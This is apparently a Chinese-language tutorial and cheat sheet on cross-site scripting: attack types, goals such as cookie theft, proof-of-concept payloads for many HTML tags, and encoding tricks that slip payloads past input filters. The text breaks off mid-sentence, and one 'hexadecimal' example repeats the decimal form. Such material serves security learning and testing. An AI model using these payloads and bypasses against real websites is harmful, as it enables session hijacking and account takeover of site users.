概念

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

目的

  • 盗取cookie获取敏感信息
  • 利用植入flash,通过crossdomain权限设置进一步获取最高权限,或者利用java等得到类似操作
  • 利用iframeframe,XMLHttpRequest或上述Flash等方式,以用户的身份执行一些管理动作,或执行一些一般的操作如发微博,加好友,发私信等操作
  • 利用可被攻击的域收到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动
  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果

分类

  • 反射型

    反射型XSS(Reflected Cross-Site Scripting),即将恶意脚本附加到URL地址的参数中

    攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

  • 存储型

    • 常见注入点:论坛,博客,留言板,网站的留言,评论和日志等交互处
    • 注入方式:攻击者在发帖或留言的过程,将恶意脚本连同正常信息一起注入到发布内容。随着发布内容被服务器存储下来,恶意脚本也将永远的存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子,用户的浏览器就会执行该恶意脚本
    • 攻击流程:
      1. 用户提交了一条包含XSS代码的留言到数据库
      2. 当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来
      3. 浏览器将XSS代码当做正常的HTMLJS解析执行
  • DOM

    Dom是文档对象模型(Document Object Model)的缩写。它是HTML文档的对象表示,同时也是外部内容与HTML元素之间的接口。解析树的根节点是Document对象。使用DOM能够使程序和脚本能够动态访问和更新文档的内容,结构和样式

    它是基于DoM文档对象的一种漏洞,并且DOM型XSS是基于JS上的,并不需要与服务器进行交互。

    其通过修改页面DOM节点数据信息而形成的ⅩSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的 Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。

    • 注入点:通过js脚本对文档对象进行编辑,从而修改页面的元素。也就是说客户端的脚本程序可以DOM动态修改页面的内容,从客户端获取DOM中的数据并在本地执行
    • 攻击方式:用户请求一个经过专门设计的URL,它由攻击者提供,而且其中包含XSS代码,用户的浏览器处理这个URL会自动处理XSS代码更改浏览器内容
    • 攻击流程
      1. 攻击者给用户发了一个带有恶意字符串的链接
      2. 用户点击链接
      3. 服务器返回HTML文档
      4. 浏览器执行HTML文档里的脚本,把恶意脚本植入了页面,再执行该恶意脚本

常见标签

0x01. <a> 标签

<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>

0x02. img>标签

<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<img src=1 onmouseover="alert('xss');">
<img src=1 onmouseout="alert('xss');">
<img src=1 onclick="alert('xss');">

0x03. <iframe>标签

<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

0x04. <audio> 标签

<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>

0x05. <video>标签

<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>

0x06. <svg> 标签

<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>

0x07. <button> 标签

<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onmouseover="alert('xss');">xss</button>
<button onmouseout="alert('xss');">xss</button>
<button onmouseup="alert('xss');">xss</button>
<button onmousedown="alert('xss');"></button>

0x08. <div>标签

这个需要借助url编码来实现绕过

原代码:
<div onmouseover='alert(1)'>DIV</div>
经过url编码:
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>

0x09. <object>标签

这个需要借助 data 伪协议和 base64 编码来实现绕过

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

0x10. <script> 标签

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>

0x11. <p> 标签

<p onclick="alert('xss');">xss</p>
<p onmouseover="alert('xss');">xss</p>
<p onmouseout="alert('xss');">xss</p>
<p onmouseup="alert('xss');">xss</p>

0x12. <input> 标签

<input onclick="alert('xss');">
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus="">
<input onmouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
<input type="text" onkeypress="alert('xss');"></input>
<input type="text" onkeydown="alert('xss');"></input>

0x13. <details>标签

<details ontoggle="alert('xss');"></details>
<details ontoggle="alert('xss');" open=""></details>

0x14. <select> 标签

<select onfocus="alert('xss');" autofocus></select>
<select onmouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>

0x15. <form> 标签

<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form> 
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>

0x16. <body> 标签

<body onload="alert('xss');"></body>

常见绕过

编码绕过

浏览器对XSS代码的解析顺序为:HTML编码->URL解码->JS解码(UNICODE)

html实体编码

当可控点为单个标签属性时,可以使用HTML实体编码

<a href="可控点">test</a>
<iframe src="可控点">test<iframe>
<img src=x onerror="可控点">
Payload
<a href="javascript:alert(1)">test</a>
十进制
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">test</a>
十六进制
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">test</a>
不带分号
<a href="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29">test</a>
填充0
<a href="&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029">test</a>

url编码

当注入点存在href或者src属性时,可以使用url编码

<a href="可控点">test</a>
<iframe src="可控点">test</iframe>
Payload
<a href="javascript:alert(1)">test</a>
<iframe src="javascript:alert(1)">test</iframe>
url解析过程中,不能对协议类型进行任何的编码操作,javascript:协议头要保留
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29">test</iframe>
可以二次编码
<a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a>
<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</iframe>

js编码

解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称,例如 js 解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行解码后为alert,而alert是一个有效的标识符名称,它是能被正常解析的。但是像圆括号、双引号、单引号等等这些字符就只能被当作普通的文本,从而导致无法执行。

由于 js 是最后进行解析的,所以如果混合编码,需要先使用 js 编码再进行 url 编码或者 html 实体编码。

js 编码策略:

  1. "" 加上三个八进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\074”
  2. “\x” 加上两个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\x3c”
  3. “\u” 加上四个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\u003c”
  4. 对于一些控制字符,使用特殊的 C 类型的转义风格(例如 \n 和 \r)
<img src=x onerror="可控点">

<input onfocus=location="可控点" autofocus> 
Payload
<img src=x onerror="alert(1)">

<input onfocus=location="alert(1)" autofocus> 
Unicode 编码
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">

<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus> 

注:

**Unicode 编码时,只能对有效的标识符进行编码,否则非标识符解码后不能解析执行。例如 javascript:alert(1) ,进行 Unicode 编码时,只能对 alert 和 “1” 进行编码,框号编码后会被当成文本字符,不能执行。**ascii 八进制和十六进制编码使用时需要 eval、setTimeout等函数传递变量,并且可以对整个传递参数进行编码。例如 eval(“alert(1)”),可以对 “alert(1)” 整个进行八进制、十六进制或者 Unicode 编码(双引号不参与)。

八进制和十六进制

setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。

语法:setTimeout(要执行的代码, 等待的毫秒数)

setTimeout(JavaScript 函数, 等待的毫秒数)
1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
5.<script>eval("\141\154\145\162\164\050\061\051")</script>
6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

混合编码

<a href="可控点">test</a>

Payload

<a href="javascript:alert(1)">test</a>

html 编码

<a href="javascript:alert(1)">test</a>

Unicode 编码

<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>

注:Unicode 编码不能对括号使用

url 编码

<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>

由于浏览器对 xss 代码的解析过程是:html解析 —— url解析 —— js解析,所以可以编码方式进行组合绕过。

1. 原代码
<a href="javascript:alert(1)">test</a>
2. 对alert进行JS编码(unicode编码)
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
3. 对href标签中的\u0061\u006c\u0065\u0072\u0074进行URL编码
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>
4. 对href标签中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)进行HTML编码:
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>

注:href、src等加载url的属性可以使用三种混合编码,on事件可以使用html实体编码和js编码混合,但url编码在on事件中不会解析。

base64 编码

base64 编码通常需要使用到 data 伪协议。

data 协议使用方法:data:资源类型;编码,内容

base64编码内容为

<script>alert(/xss/)</script>
PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=

通常与 base64 编码配合 data 协议的标签有